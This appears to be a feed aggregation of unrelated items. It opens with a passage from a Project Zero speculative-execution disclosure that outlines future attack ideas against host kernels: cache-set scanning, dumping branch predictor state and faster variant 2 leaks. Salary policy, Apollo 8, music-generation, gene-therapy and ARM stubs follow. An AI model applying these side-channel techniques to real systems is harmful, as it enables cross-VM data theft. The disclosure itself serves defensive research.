More efficient scanning for host-virtual addresses and cache sets

In variant 2, while scanning for the host-virtual address of a guest-owned page, it might make sense to attempt to determine its L3 cache set first. This could be done by performing L3 evictions using an eviction pattern through the physmap, then testing whether the eviction affected the guest-owned page.

The same might work for cache sets - use an L1D+L2 eviction set to evict the function pointer in the host kernel context, use a gadget in the kernel to evict an L3 set using physical addresses, then use that to identify which cache sets guest lines belong to until a guest-owned eviction set has been constructed.

Dumping the complete BTB state

Given that the generic BTB seems to only be able to distinguish 231-8 or fewer source addresses, it seems feasible to dump out the complete BTB state generated by e.g. a hypercall in a timeframe around the order of a few hours. (Scan for jump sources, then for every discovered jump source, bisect the jump target.) This could potentially be used to identify the locations of functions in the host kernel even if the host kernel is custom-built.

The source address aliasing would reduce the usefulness somewhat, but because target addresses don't suffer from that, it might be possible to correlate (source,target) pairs from machines with different KASLR offsets and reduce the number of candidate addresses based on KASLR being additive while aliasing is bitwise.

This could then potentially allow an attacker to make guesses about the host kernel version or the compiler used to build it based on jump offsets or distances between functions.

Variant 2: Leaking with more efficient gadgets

If sufficiently efficient gadgets are used for variant 2, it might not be necessary to evict host kernel function pointers from the L3 cache at all; it might be sufficient to only evict them from L1D and L2.

Various speedups

In particular the variant 2 PoC is still a bit slow. This is probably partly because:

  • It only leaks one bit at a time; leaking more bits at a time should be doable.
  • It heavily uses IRETQ for hiding control flow from the processor.

It would be interesting to see what data leak rate can be achieved using variant 2.

Leaking or injection through the return predictor

If the return predictor also doesn't lose its state on a privilege level change, it might be useful for either locating the host kernel from inside a VM (in which case bisection could be used to very quickly discover the full address of the host kernel) or injecting return targets (in particular if the return address is stored in a cache line that can be flushed out by the attacker and isn't reloaded before the return instruction).

However, we have not performed any experiments with the return predictor that yielded conclusive results so far.

Leaking data out of the indirect call predictor

We have attempted to leak target information out of the indirect call predictor, but haven't been able to make it work.

Vendor statements

The following statement were provided to us regarding this issue from the vendors to whom Project Zero disclosed this vulnerability:

Intel

No current statement provided at this time.

AMD

No current statement provided at this time.

ARM

Arm recognises that the speculation functionality of many modern high-performance processors, despite working as intended, can be used in conjunction with the timing of cache operations to leak some information as described in this blog. Correspondingly, Arm has developed software mitigations that we recommend be deployed.

Specific details regarding the affected processors and mitigations can be found at this website: https://developer.arm.com/support/security-update

Arm has included a detailed technical whitepaper as well as links to information from some of Arm’s architecture partners regarding their specific implementations and mitigations.

Literature

Note that some of these documents - in particular Intel's documentation - change over time, so quotes from and references to it may not reflect the latest version of Intel's documentation.

  • https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf: Intel's optimization manual has many interesting pieces of optimization advice that hint at relevant microarchitectural behavior; for example:
    • "Placing data immediately following an indirect branch can cause a performance problem. If the data consists of all zeros, it looks like a long stream of ADDs to memory destinations and this can cause resource conflicts and slow down branch recovery. Also, data immediately following indirect branches may appear as branches to the branch predication [sic] hardware, which can branch off to execute other data pages. This can lead to subsequent self-modifying code problems."
    • "Loads can:[...]Be carried out speculatively, before preceding branches are resolved."
    • "Software should avoid writing to a code page in the same 1-KByte subpage that is being executed or fetching code in the same 2-KByte subpage of that is being written. In addition, sharing a page containing directly or speculatively executed code with another processor as a data page can trigger an SMC condition that causes the entire pipeline of the machine and the trace cache to be cleared. This is due to the self-modifying code condition."
    • "if mapped as WB or WT, there is a potential for speculative processor reads to bring the data into the caches"
    • "Failure to map the region as WC may allow the line to be speculatively read into the processor caches (via the wrong path of a mispredicted branch)."
  • https://software.intel.com/en-us/articles/intel-sdm: Intel's Software Developer Manuals
  • http://www.agner.org/optimize/microarchitecture.pdf: Agner Fog's documentation of reverse-engineered processor behavior and relevant theory was very helpful for this research.
  • http://www.cs.binghamton.edu/~dima/micro16.pdf and https://github.com/felixwilhelm/mario_baslr: Prior research by Dmitry Evtyushkin, Dmitry Ponomarev and Nael Abu-Ghazaleh on abusing branch target buffer behavior to leak addresses that we used as a starting point for analyzing the branch prediction of Haswell processors. Felix Wilhelm's research based on this provided the basic idea behind variant 2.
  • https://arxiv.org/pdf/1507.06955.pdf: The rowhammer.js research by Daniel Gruss, Clémentine Maurice and Stefan Mangard contains information about L3 cache eviction patterns that we reused in the KVM PoC to evict a function pointer.
  • https://xania.org/201602/bpu-part-one: Matt Godbolt blogged about reverse-engineering the structure of the branch predictor on Intel processors.
  • https://www.sophia.re/thesis.pdf: Sophia D'Antoine wrote a thesis that shows that opcode scheduling can theoretically be used to transmit data between hyperthreads.
  • https://gruss.cc/files/kaiser.pdf: Daniel Gruss, Moritz Lipp, Michael Schwarz, Richard Fellner, Clémentine Maurice, and Stefan Mangard wrote a paper on mitigating microarchitectural issues caused by pagetable sharing between userspace and the kernel.
  • https://www.jilp.org/: This journal contains many articles on branch prediction.
  • http://blog.stuffedcow.net/2013/01/ivb-cache-replacement/: This blogpost by Henry Wong investigates the L3 cache replacement policy used by Intel's Ivy Bridge architecture.

References

[1] This initial report did not contain any information about variant 3. We had discussed whether direct reads from kernel memory could work, but thought that it was unlikely. We later tested and reported variant 3 prior to the publication of Anders Fogh's work at https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/.
[2] The precise model names are listed in the section "Tested Processors". The code for reproducing this is in the writeup_files.tar archive in our bugtracker, in the folders userland_test_x86 and userland_test_aarch64.
[3] The attacker-controlled offset used to perform an out-of-bounds access on an array by this PoC is a 32-bit value, limiting the accessible addresses to a 4GiB window in the kernel heap area.
[4] This PoC won't work on CPUs with SMAP support; however, that is not a fundamental limitation.
[5] linux-image-4.9.0-3-amd64 at version 4.9.30-2+deb9u2 (available at http://snapshot.debian.org/archive/debian/20170701T224614Z/pool/main/l/linux/linux-image-4.9.0-3-amd64_4.9.30-2%2Bdeb9u2_amd64.deb, sha256 5f950b26aa7746d75ecb8508cc7dab19b3381c9451ee044cd2edfd6f5efff1f8, signed via Release.gpg, Release, Packages.xz); that was the current distro kernel version when I set up the machine. It is very unlikely that the PoC works with other kernel versions without changes; it contains a number of hardcoded addresses/offsets.
[6] The phone was running an Android build from May 2017.
[9] More than 215 mappings would be more efficient, but the kernel places a hard cap of 216on the number of VMAs that a process can have.
[10] Intel's optimization manual states that "In the first implementation of HT Technology, the physical execution resources are shared and the architecture state is duplicated for each logical processor", so it would be plausible for predictor state to be shared. While predictor state could be tagged by logical core, that would likely reduce performance for multithreaded processes, so it doesn't seem likely.
[11] In case the history buffer was a bit bigger than we had measured, we added some margin - in particular because we had seen slightly different history buffer lengths in different experiments, and because 26 isn't a very round number.
[12] The basic idea comes from http://palms.ee.princeton.edu/system/files/SP_vfinal.pdf, section IV, although the authors of that paper still used hugepages.

Buffer’s Salary Formula 3.0

$
0
0

Four years ago we introduced transparent salaries at Buffer. The practice has in many ways come to define us. We’re proud of this, and the positive impact that it has had both within the team and in the wider community.

A growing company brings change and new learnings. Over time, our team has evolved – and so has our thinking around salaries.

Today we’re introducing Buffer’s Salary Formula 3.0 – a fresh, remote-first approach to our salaries.

We’re happy to share that having an open pay system continues to breed high trust among our team while also holding us accountable to paying people fairly, equitably, and without bias.

Living up to our value of ‘Defaulting to Transparency’ means that we take the opportunity to share our beliefs, failures, strengths, and decisions.

We, therefore, remain committed to both salary transparency and sharing our approach and learnings. Read on to learn about the full formula and how we derived every piece of it. We’re also sharing the list of all of our salaries as they are right now.

Why It Is Time For A New Salary Formula

Over the past four years, Buffer has seen a lot of growth. We realized over time that our salary formula became less effective and more complex than we’d like.

Over the past four years, a primary challenge was keeping up with pay benchmarks across a vast number of locations. It was complicated to explain how the formula worked to existing team members receiving promotions as well as new team members. With this level of complication, subjective decisions were made which put us further away from the intent of the formula.

It was time for simplicity. Our main goal was to build a framework that represents the unique elements of Buffer’s culture and fits our strides towards becoming a workplace of the future.

With that goal in mind, we thought through a larger compensation strategy that aimed to accomplish several key components.

  • Simple andAccessible: Our formula needs to be simple enough for anyone to use
  • Do the Right Thing: We made sure take-home pay wouldn’t drop
  • Adaptable: Our framework needs to be able to adapt and evolve
  • Competitive: Our compensation package remains competitive

Salary Formula 3.0

The latest evolution of our salary formula introduces an important new element – the Buffer Benchmark, where we’re benchmarking all salaries to a single city and establishing a remote-first salary formula.

Without further ado, here’s the latestevolutionof our salary formula:

Our new salaries

You can see all our salaries via Google Sheets too! 

Here’s a little more on each section of the salary formula:

Buffer Benchmark

With the Buffer Benchmark we’ve essentially created our own competitive base salaries for each role, which is symbolic of the ways in which we march to the beat of our own drum. To calculate the benchmark we multiply the San Francisco 50th percentile market rate by the Cost of Living and Role Multipliers. For consistency, we use PayScale’s paid platform to gather all benchmark reports for the San Francisco job market.

While we use the PayScale benchmarks as the starting point for all of our salaries, we intentionally use this data to represent just that: a starting point for pay.

Cost of Living Multiplier

We’re introducing the Cost of Living Multiplier as a way to replace the Good Life Curve in theprevious2.0 salary formula.

The multiplier is one of three geographic bands, based on a high, average, or low cost of living area. We use data from Numbeo to figure out which band applies for each teammate. For high cost of living areas we pay 100% of the San Francisco 50th percentile, average is 85%, and low is 75%.

We figure out each teammate’s geographic band by comparing the cost of living index of a teammate’s location to the cost of living index in San Francisco.

For example, Numbeo data indicates that you would need around $1,575 in San Francisco, CA to maintain the same standard of life that you can have with $1,000 in San Luis Obispo, CA, (assuming you rent in both cities). $1,000 divided by $1,575 provides an index of .63 which we’ve determined to fall under an “average” cost of living area. The Buffer Benchmark allows us to use a generous labor market (San Francisco) as the basis of our formula while addressing the impact of locality in a simple, affordable and sustainable manner.

This approach isn’t perfect and doesn’t consider all unique circumstances, but it has allowed us to minimize subjectivity.

Role Multiplier

The Role Multiplier provides a level of flexibility within our framework.

Today, it is applied to our Marketing and Advocacy teams to increase the Buffer Benchmark, as we found that the general market in San Francisco provided benchmarks that came in below our current levels of pay.

We also plan to use the Role Multiplier as a way for individual contributors to see salary progression and to contribute outside of the experience levels as defined in different area career frameworks.

Experience Factor

The Experience Factor correlates directly with individual area career frameworks. This factor means experience levels will be applied differently from team to team, and we’re okay with that.

This is the part of the formula where we want to lean into the idea that compensation is an art, allowing for creativity and interpretation, and science, relying on market and economic data.

Other Factors

We have a few other unique elements that make up our total cash compensation: the Dependent Grant and the Salary Choice Option (offered to teammates in lieu of higher equity).

In 2015, when we introduced Salary Formula 2.0, we also added the dependent grant, to support teammates who have dependents, or family members who depend on their income.

Under salary 3.0, the dependent grant remains separate from the salary formula but is still a component of total compensation.

We’ve also honored all 2.0 salaries in the 3.0 formula to ensure that take-home pay would not drop.

The New Salary Calculator

We also have a fresh salary calculator live so that anyone can calculate what they would earn at Buffer and see compensation for each role.

Check it out here!

Location, Loyalty, and Salary Choice: The Three Biggest Changes to the Formula

The New Formula Isn’t Based onLocation

The most significant change with this formula is that we’ve done away with many of the location-specific factors we had in the previous formula.

We believe that the work and value each teammate brings to Buffer is not limited by where they work from, and so our compensation for their contribution shouldn’t be, either. This is also supporting each teammate to choose to work where they are most happy and productive. (Living by our “live smarter, not harder” value.)

We got more than a few raised eyebrows when we announced that we’re now using the San Francisco labor market (one of the most expensive labor markets in the U.S.) as the basis of pay for all salaries at Buffer.

The question on everyone’s mind was “Can we afford this?” and “is this sustainable?” When we sought input and advice from those outside of Buffer we also were asked, “Why would you pay your team members with more generosity than you need to?”

As it turns out, our answers are: Yes, Yes and because we believe it’s the right thing to do.

Applying the Cost of Living Multiplier component of the Buffer Benchmark makes the San Francisco labor market both affordable and sustainable. It also helps us achieve one of the tenants of our compensation strategy: Objectivity and Simplicity. In other words, it allows us to use consistent benchmarks for teammates in the same position, regardless of where they live and work.

Another benefit of the location-agnostic approach is that it helps support our teammates who are digital nomads, by bringing consistency to their pay regardless of where they live and travel or how long they stay in any given location because we apply the average cost of living area multiplier for all nomads.

Removing3%Loyalty Raise

One of the toughest decisions we made with the new formula was to remove the annual 3% loyalty increase given to teammates for each anniversary from their start date.

We looked at a lot of options and in the end decided to remove it as it created an unsustainable, compounding affect on pay. By removing this element, we’ll have more opportunities and greater flexibility to introduce other benefits for the team down the road.

We’re looking at other ways to recognize loyalty such as profit sharing, 401K matching, bonuses based on profitability, dividends, and future stock buyback programs.

The Salary Choice Option Now Phases out at 4 Years

Back in 2013, we began offering teammates the option between an additional $10,000 in annual salary or accepting 30% more in stock options.

71% of our current team opted to take the higher salary choice. This created an annual budget impact of $510,000.

In the end, we decided that in many ways we’ve outgrown the initial intention of this generous offer. In fact, in May of 2016, we stopped offering this choice. It became clear that it was best to retire the salary choice option and we’ve decided to phase it out in two steps ($5,000 each over the course of a year) beginning in 2019.

The Future of Salaries At Buffer, More Change To Come

When Joel first introduced Buffer’s transparent salaries, it was both frightening and exciting. That vulnerability has opened us up to something more valuable than we ever could have imagined.

It’s easy to allow transparency to erode with growth. That’s for understandable reasons – it’s tough to stay true to transparency as a company increases in size and becomes more complex. There are more edge cases and more voices. As a result, this version has been that much harder than any previous ones. We actively recognize this, and despite the challenges, we continue to believe in the value and remain wholly committed to radical transparency.

We’ve always seen our salary formula as a living document. We believe that this is just as true today as when we first introduced transparent salaries. Therefore we know that there will be more change in the future for salaries at Buffer.

We’d love to hear your thoughts on our latest version, and pay transparency in general, in the comments below.

Who Took the Legendary Earthrise Photo from Apollo 8?

$
0
0

It’s arguably the most iconic photograph of the 20th century: the Earth rising above the Moon’s bleached and desolate horizon, a breathtaking jewel of color and life more than 230,000 miles away. In December 1968, Apollo 8 astronauts Frank Borman, Jim Lovell and Bill Anders returned from history’s first voyage around the Moon with this stunning image. In the following weeks, on newspaper front pages and magazine covers around the world, we suddenly saw ourselves as inhabitants of a lovely and seemingly tranquil planet afloat in the endless void of space.

In today’s visually bombarded world it’s hard to imagine the immediate, global impact of that single image. The picture that came to be known as “Earthrise” offered a precious moment of transcendence after a year of violence and turmoil. The following year it was made into a U.S. postage stamp, and it adorned the cover of the Whole Earth Catalog. Walter Cronkite used it as a backdrop on the “CBS Evening News.” Wilderness photographer Galen Rowell called it “the most influential environmental photograph ever taken,” and it’s no accident that 16 months after we saw ourselves from the Moon, the first Earth Day took place.

But one question about the Earthrise photo has dogged historians for almost half a century: Who took it?

I can’t help but take that question personally. I discovered the answer 30 years ago when I was researching my book about the Apollo astronauts, A Man on the Moon. I found myself challenging NASA’s official version of the event, and landing in the middle of a dispute between the astronauts themselves. Even after my book was published, the controversy continued for another two decades, until a NASA computer wizard confirmed my conclusion beyond all doubt. With the 50th anniversary of Apollo 8 approaching, I can’t think of a better time to share the whole story, which is told on these pages for the first time.

**********

On December 24, 1968, I was a 12-year-old space fanatic, glued to the television as Borman, Lovell and Anders sent back live TV pictures from lunar orbit. I had my own “mission control” in the den, with models of the spacecraft, maps of the Moon and articles about the flight from Time and Newsweek. I did everything I could to feel like I was part of this amazing science-fiction dream coming true. Almost two decades later I was sitting down with my childhood heroes, the men who went to the Moon, to hear their lunar experiences firsthand. In the summer of 1987, preparing for my interviews with the Apollo 8 crew, I pored over stacks of NASA documents, including the recently declassified official transcript of the astronauts’ private conversations captured by the onboard voice recorder. I could never have imagined what I saw on those pages—not only the cool professionalism I was expecting but moments of awe, tension, gallows humor, and, at one point, what sounded like an exasperated father ordering his kids to bed. These were the words of three men out on a very long limb.

I was fascinated to see three distinct personalities emerge from those pages. Borman was the no-nonsense and sometimes gruff mission commander, whose overriding concern was making sure that when it came time for the life-or-death rocket firing to send them back to Earth, his crew would be rested and ready. Jim Lovell, the flight’s navigator, struck me as a kind of everyman; as he sighted on lunar landmarks he voiced amazement at the experience of being one of the first humans to see the Moon’s far side with his own eyes. And finally there was Bill Anders, the flight’s serious, detail-oriented rookie, focused on his extensive program of photographing lunar features.

The onboard voice recorder wasn’t always turned on, but as luck would have it, NASA’s transcript included the moment when the astronauts first saw the Earthrise:

Borman: Oh, my God! Look at that picture over there! Here’s the Earth coming up. Wow, is that pretty!

Anders: Hey, don’t take that, it’s not scheduled.

These lines seemed to clearly confirm the story Borman first told on the pages of Life magazine in early 1969: His rookie crewman Anders had been so concerned with sticking to his program of lunar photography, wrote Borman, “that when I wanted to take a picture of the Earth as it came over the horizon he objected. ‘Gee Frank,’ he said, ‘that’s not on our photo plan.’ Eventually, I was able to talk him into giving me the camera so I could take pictures of the Earth over the lunar landscape.”

But when I interviewed Bill Anders during the summer and fall of 1987, I heard a different story. The far side of the Moon turned out to be less dramatic than he expected, but when he described the Earthrise, Anders tapped into an awe that was undiminished by the passage of nearly two decades.

“That was the most beautiful thing I’d ever seen,” said Anders. “Totally unanticipated. Because we were being trained to go to the Moon... It wasn’t ‘going to the Moon and looking back at the Earth.’ I never even thought about that!” Seeing the Earthrise, Anders told me, changed his view of the mission in real time. “In lunar orbit, it occurred to me that, here we are, all the way up there at the Moon, and we’re studying this thing, and it’s really the Earth as seen from the Moon that’s the most interesting aspect of this flight.”

The famous Earthrise photo, however, was the source of a lingering frustration for Anders: He was all but certain he’d taken it, but Borman’s story about grabbing the camera away from him was the accepted one. Borman had even been named as the photographer in National Geographic. And Jim Lovell had started saying he took the picture, as a joke. It so irritated Anders that he wrote to NASA’s astronaut photography expert, Dick Underwood, for confirmation. Underwood’s reply, as Anders recalled it: “I think you took it.”

After interviewing Anders, I wondered if the Earthrise dialogue in NASA’s transcript had been attributed to the wrong astronaut. There was only one way to find out, and by the fall of 1987 I had obtained copies of the original onboard tapes from NASA. When I got to the tape of the Earthrise, I had absolutely no trouble recognizing the voices. I could clearly hear that it was Anders who first saw the Earth coming up, not Borman. It was Borman who said, “Don’t take that, it’s not scheduled,” and I realized he was teasing Anders about his strict adherence to the photo plan (because, as the tapes also revealed, when Borman wanted to take a “tourist photo” of a crater hours earlier, Anders told him not to). I listened as Anders urgently asked Lovell for a roll of color film. Then Lovell was at his own window and the two men argued about who had the better view. Lovell demanded Anders hand over the camera; Anders told Lovell to calm down. Finally, Anders snapped two color pictures. Hearing this historic moment unfold I felt like a stowaway aboard Apollo 8.

When I delved deeper into the photo archives from Apollo 8, one added wrinkle awaited me: The iconic color image wasn’t the first Earthrise photo, as most people assumed. Just before he saw the Earth coming up, Anders had been photographing the Moon with black-and-white film, zooming in on the craters below with a 250-millimeter telephoto lens. Seeing the Earthrise, he fired off a black-and-white picture before asking Lovell for a color film magazine. All three Earthrise pictures—the black-and-white and the two color—had been taken with the same 250-millimeter lens. In our interviews, Anders said Borman had disliked the 250-millimeter lens and had opposed including it on the mission—a detail that was consistent, he said, with his memory that he, not Borman, had taken the iconic photo. Now I was able to tell him that the tapes proved him right.

I was proud of my discovery. I’d been able to get inside one of the most compelling moments in space exploration and present it with new clarity, something a historian lives for. There was just one more person I had to tell: Frank Borman.

As I prepared to interview Borman in March 1988, I didn’t know what to expect. Would he turn out to be as gruff as he had sometimes seemed aboard Apollo 8? I was happily surprised to find Borman anything but difficult. He laughed easily. He answered my questions about Apollo 8 and about his crewmates with complete candor. Over dinner with his wife, Susan, Borman brought up the subject I’d been avoiding. “Did Anders ever tell you how we got the picture that became the stamp?”

“Why don’t you tell it?” I replied.

“That son of a bitch, he wasn’t going to take the picture!” Borman began, clearly relishing another chance to tell the story for the record. “I’m looking over the lunar horizon, and there’s the Earth coming up. And I’m saying, ‘Bill, take that picture! Get that one!’ He says, ‘I can’t.’ ‘Why not?’ ‘I don’t have enough film. All my film’s allocated for scientific’—‘I said, Bill, you’re full of baloney; that is the only picture that anybody will remember from this goddamned flight! None of your volcanoes and craters—Take that picture!’ He said, ‘No.’ So I took the camera and took the goddamned picture. That’s the truth of the story. And it’s probably on the transcripts too. Did you read it?”

The moment had arrived. I told Borman the tapes showed that, for all these years, he’d misremembered the event, confusing it with his run-in with Anders over his “tourist shot” of a crater hours earlier. (Also, I’d found evidence that Borman had taken several Earthrise pictures later in the flight, with a wider lens.) “You have an apology to make,” said Susan, but Borman insisted he wasn’t going to change his story, because it illustrated Anders’ rigid devotion to his photo plan. The conversation ended in laughter. I was relieved Borman was taking it so well.

That October I caught up with Borman again, as he was promoting his newly released autobiography. He told me he’d tried to have the wording about the Earthrise picture changed before the book came out, but hadn’t been able to. But a month later, when the Apollo 8 crew gathered in San Diego for their 20-year reunion, Borman publicly admitted he’d been wrong about who took the picture, that it had been Anders.

The issue was settled—or so I thought.

Over the next 20 years, the controversy resurfaced. I was irritated to see books come out with the old version of the story—or, in one case, a new version that had Anders taking the two color photos of the Earthrise, but Borman snapping the first, black-and-white shot (because, the author argued, Borman wouldn’t lie about having taken a picture of the first Earthrise). I was even more aggravated to see Anders, in interviews, going along with that version. I began wondering if there might be a way to get definitive confirmation of my discovery. In 2012 I met the man who would do that.

**********

At NASA’s Goddard Space Flight Center in Greenbelt, Maryland, Ernie Wright, one of the wizards at the Scientific Visualization Studio, had been producing computer animations using new, high-resolution images and topographic data from the Lunar Reconnaissance Orbiter, or LRO, which had been circling the Moon since 2009. In early 2012, using NASA’s original data on Apollo 8’s orbit, Wright was able to reconstruct the astronauts’ path over the Moon when they first saw the Earthrise, even pinpointing the locations where the three Earthrise pictures had been taken. When he showed it to LRO scientist and Apollo geek Noah Petro, they decided to release the video in time for Earth Day.

Bill Anders
Bill Anders (holding a Hasselblad) recalls of Earth: “God, that blue looked pretty.” (NASA)

About a week after the video’s release Bill Anders came to Goddard at the invitation of LRO scientist Jim Rice. Wright had already heard that Anders was skeptical he could accurately recreate the Earthrise, but at his computer, Wright showed Anders how he could move a virtual camera along Apollo 8’s orbit and see the Earth rising. The LRO data made Wright’s re-creation of the lunar terrain so accurate that you could superimpose the real Earthrise photo over the simulation and hardly see any difference. Anders turned to Wright and said, “Your picture is better than mine.”

After Anders’ visit Wright felt compelled to take his Earthrise reconstruction to the next level. “Now I was holding some tiny piece of Bill Anders’ legacy in my hand too,” he recalls. He decided to do a full re-creation, one that would show not only Apollo 8’s flight path but also which of the craft’s five windows was turned toward the rising Earth, and as a consequence, who took the pictures.

**********

Even before I first met Wright in May 2012, he had been coming around to my point of view. He’d listened to a digitally cleaned-up copy of the onboard voice tape, and he’d actually heard the sounds of the Hasselblad camera snapping each of the three Earthrise pictures—at just the times that would have fit if Anders had been the photographer on all three images. “After listening to this,” Wright wrote to Jim Rice, “I’m leaning toward Chaikin’s interpretation, which is that Bill took all three photos.” Meeting him, I also noted that less than a minute before the Earth appeared on the horizon, Frank Borman had been occupied with steering the spacecraft through a 180-degree spin.

A year went by with little progress, but in May 2013 Wright emailed me, “I think I have new evidence that Bill Anders took all three Earthrise photos.” On a website called the Apollo Flight Journal, created by historians David Woods and Frank O’Brien, he’d found a set of pictures taken by another camera, operating on a timer, during the first Earthrise. When Wright used his animation software to match Apollo 8’s orientation to each photo, he realized something remarkable: The spacecraft was pointed nose-down at the Moon and was still rotating under Borman’s command when the Earth appeared. At any given moment, only one side of the turning spacecraft was facing the Earth.

But which side? Wright calculated camera angles and window fields-of-view, then simulated the view through each window of the turning spacecraft as it moved in its orbit. Suddenly, he had the clincher: When it first came up, the Earth was visible only through Anders’ side window—and you had to have your nose almost up to the glass to see it.

By the fall of 2013 Wright and colleague Dan Gallagher had produced a new video, synchronized with the onboard voice tape. It reconstructed the historic moment in a way no one except the astronauts had previously experienced. But Wright got an email from an official at NASA headquarters saying, “before you call Frank Borman a liar (which is exactly what you will be doing) I hope that you would have iron-clad evidence to prove your point.” Wright responded with a full accounting of his findings and what they meant. “I don’t think the astronauts lied,” he wrote. “I think they were three overworked, sleep-deprived guys on a dangerous and entirely unprecedented journey. It shouldn’t surprise anyone that they might misremember details about things that weren’t vital to the mission.”

When the new video was posted in time for the 45th anniversary of the Earthrise in December 2013, with my narration, I felt a sense of completion, and admiration for the work that Wright had done. I’ve been glad to hear the astronauts like it too, but I must disclose that the joke is alive and well. A few months ago, when my wife emailed Borman a photo I’d taken of last summer’s total solar eclipse, Borman wrote back, “Great picture, but Anders just called and said he took it!”

DeepJ: Style-Specific Music Generation

$
0
0

README.md

Recent advances in deep neural networks has enabled algorithms to compose music that is comparable to music composed by humans. However, few algorithms allow the user to generate music with tunable parameters. The ability to tune properties of generated music will yield more practical benefits for aiding artists, filmmakers and composers in their creative tasks. Our goal is to build an end-to-end generative model that is capable of composing music conditioned with a specific mixture of musical style as a proof of concept.

Clone Python MIDI (https://github.com/vishnubob/python-midi) and install the Python3 branch using python3 install setup.py.

Install CUDA. See Tensorflow docs for more information.

Then, install other dependencies of this project.

pip install -r requirements.txt

A gene therapy to treat a rare, inherited form of blindness will cost $850K

$
0
0

Wonkblog

January 3, 2018 at 3:01 PM

Watch more!

The U.S. more than doubled the number of drugs green lighted by regulators in 2017, clearing 46 new treatments. (Reuters)

A landmark gene therapy to treat a rare, inherited form of blindness will cost $850,000 — a price tag so daunting that its maker will offer health insurers partial rebates if the drug doesn't work and is seeking to pilot an installment payment option.

The drug, called Luxturna, is the realization of a long-sought scientific dream: The one-time treatment corrects a faulty gene to improve vision, allowing patients to see the stars or their parents' faces. Only 1,000 to 2,000 people in the United States are thought to have deteriorating vision caused by this errant gene, called RPE65, but Luxturna is widely expected to be the first in a wave of cutting-edge treatments that are targeted at fixing the causes of a wide range of genetic diseases — while also raising difficult questions about how to pay for them.

The idea that drugs can be made to correct the defective genes that lie at the root of inherited diseases has long tantalized medicine. Nearly three decades ago, gene therapy was first tested in a patient in the U.S., but after a teenager named Jesse Gelsinger died in a clinical trial in 1999, the field screeched to a halt. As the technology has improved, the science has moved forward more cautiously, with therapies being developed for hemophiliasickle cell disease and muscular dystrophy. A $700,000 gene therapy for “bubble baby syndrome,” a rare form of immune deficiency, received final approval by the U.K. health authority on Wednesday.

The drug made by Philadelphia-based Spark Therapeutics was approved in December, the first gene therapy for an inherited disease to be approved by U.S. regulators. Many analysts expected Spark's drug might be priced at $1 million — and Spark's chief executive, Jeffrey Marrazzo, said in an earnings call last year that the drug could support a value in excess of that sum.

In an interview, Marrazzo said his company chose a lower price: $425,000 per eye, because insurers indicated that pricing the drug higher would trigger restrictions on which patients could get access.

“A more affordable, pragmatic solution wouldn't be that we took all the value, but took a reasonable amount of it. We thought there was a middle ground between addressing the affordability concerns of payers with the value of the treatment,” he said.

Related: [FDA approves first gene therapy for an inherited disease]

The cost dilemma presented by gene therapies stems from the fact they are one-time treatments. Instead of addressing symptoms, they replace or restore the malfunctioning gene at the root of disease. The hope is that such treatments could be cures, but at the moment, no one knows exactly how long Luxturna's effects — which do not fully restore vision — will last. Clinical data shows that the drug works at up to four years in some patients, and there is anecdotal evidence that the effects could last longer.

Steven Pearson, president of the Institute for Clinical and Economic Review, a nonprofit organization that analyzes drug prices said that his group's draft analysis of Luxturna suggests $850,000 is too high compared to the benefits it brings. The group will release its recommendation for a price later this month.

“It appears one common strategy being used by drug companies is to get people talking about a high price target that the company then undershoots, thereby gaining some psychological credit for the price being less than expected,” Pearson wrote in an email.

The treatment — and its price tag — challenge almost all the norms in the current drug distribution and payment system.

Pharmaceutical companies typically can count on payments from a pill or injection that a patient might have to take repeatedly, sometimes over a lifetime. But Luxturna's treatment happens just once. And insurers may balk over a huge one-time bill, especially when the patient treated may not even be their customer next year, as people in the United States frequently change employers and health plans.

And logistically, the price presents a barrier. Typically, hospitals buy the drugs they administer and mark up the prices. But instead of asking a hospital to make the outlay — and then count on insurers to pay a potentially significant markup on the drug price, Spark is assuming transit, storage and handling risks and is being paid directly by the insurer.

“Here’s what I can tell you is unique about this: It is the first gene therapy to come to market, so not only have they innovated with the science, but working with us, we’ve innovated in the payment models,” said Steve Miller, chief medical officer at Express Scripts Holding, which handles prescription drug benefits for employers and insurers and owns the specialty pharmacy that will handle the drug.

Although the treatment price is staggering, drugs for rare diseases typically carry large premiums because of the small patient populations— and Luxturna is a one-time therapy. Spinraza, a treatment for spinal muscular atrophy, costs $750,000 for its first year and $375,000 for subsequent years. The average annual cost of a controversial therapy for Duchenne muscular dystrophy is $300,000. These list prices for drugs do not take into account discounts negotiated on behalf of insurers.

Related: [Here’s why pharma is happy to help foot the bill for this $750,000 drug]

Luxturna's success will ultimately depend on insurers agreeing to pay for it, and Spark has laid a plan to help smooth its drug launch. As part of the price announcement, the company announced a rebate offer — a partial refund if the drug does not work in the first three months — with another possibility for a rebate at 2½ years out.

Harvard Pilgrim, a Massachusetts-based insurer with 1.2 million members, has agreed to cover the drug under those terms, and Marrazzo said Spark is in discussions with multiple other insurers.

Michael Sherman, Harvard Pilgrim's chief medical officer, said that the back-and-forth with Spark over the arrangement has been going on for six months. It was important to Harvard Pilgrim that it avoid paying a large markup to a hospital and that the drug company share some of the risk — what economists call “skin in the game” — if the drug doesn't work.

“I started to challenge them. I said, 'These are going to be really expensive, and we can debate the price, but the higher — the more you charge — for these complex drugs and gene therapies, the harder it is to justify anything close to that when they're not effective,' " Sherman said.

Spark has also submitted a proposal to the Centers for Medicare and Medicaid Services that would allow the company to set up an installment payment plan or to offer deeper rebates. Because of how government drug price reporting works, the company cannot currently offer a true money-back guarantee or installment plan without being forced to sell the drug to Medicaid at an unsustainably low price, Marrazzo said.

The company will offer financial assistance to patients, including travel support to help them and their caregivers reach treatment centers and other out-of-pocket costs. The company said that means commercially insured patients should pay nothing for the treatment, despite its $850,000 price tag.

“It's not you paying for it; it's the insurance company, which means everyone,” Sherman said.

Read More:

Pharma, under attack for drug prices, started an industry war

What the CVS-Aetna deal means for the future of health care

New cancer treatments have perplexing side effects

This old drug was free. Now it’s $109,500 a year.


Carolyn Johnson is a reporter covering the business of health. She previously wrote about science at The Boston Globe.

Post Recommends

Outbrain

Vulnerability of Speculative Processors to Cache Timing Side-Channel Mechanism

$
0
0

Important Information for the ARM website. This site uses cookies to store information on your computer. By continuing to use our site, you consent to our cookies. If you are not happy with the use of these cookies, please review our Cookie Policy to learn how they can be disabled. By disabling cookies, some features of the site will not work.


Open source modular synth software lets you create 70s & 80s electronic music

$
0
0

